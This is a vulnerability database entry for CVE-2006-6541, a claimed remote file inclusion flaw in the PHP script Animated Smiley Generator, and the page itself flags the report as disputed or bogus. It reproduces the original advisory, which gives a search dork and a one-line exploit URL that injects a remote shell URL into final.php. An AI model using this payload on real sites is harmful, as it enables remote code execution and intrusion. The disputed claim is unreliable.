Animated Smiley Generator File Include Vul.

WARNING! Fake news / Disputed / BOGUS

Animated Smiley Generator File Include Vul.

2006.12.14

Credit: St@rExT

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-6541

CWE: CWE-Other

Dork: \"Smileygenerator\"

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# LiderHack.Org & Trtekforum.com

# script name : Animated Smiley Generator

# Version : All

# script sites : http://smileygenerator.us

#Dork :  "Smileygenerator"

# Risk : High

# Found By : St@rExT

# Vulnerable file :final.php

#Error code :  require("$smiley/cmd.php");

#Exploit:

http://victim.com/[scriptpath]/signer/final.php?smiley=http://yourshellu
rl?

# Thanks : Dekolax , ShaFuck31 , ST@ReXT , Dekolax , Swat_Hack , Maverick , Candark , Torlaq , Woheras , Siruas,TurkAkrep

# E-mail: Starext[at]msn[dot]com

##################### --Trkm -- ####################

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Animated Smiley Generator File Include Vul.

Dork: \"Smileygenerator\"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.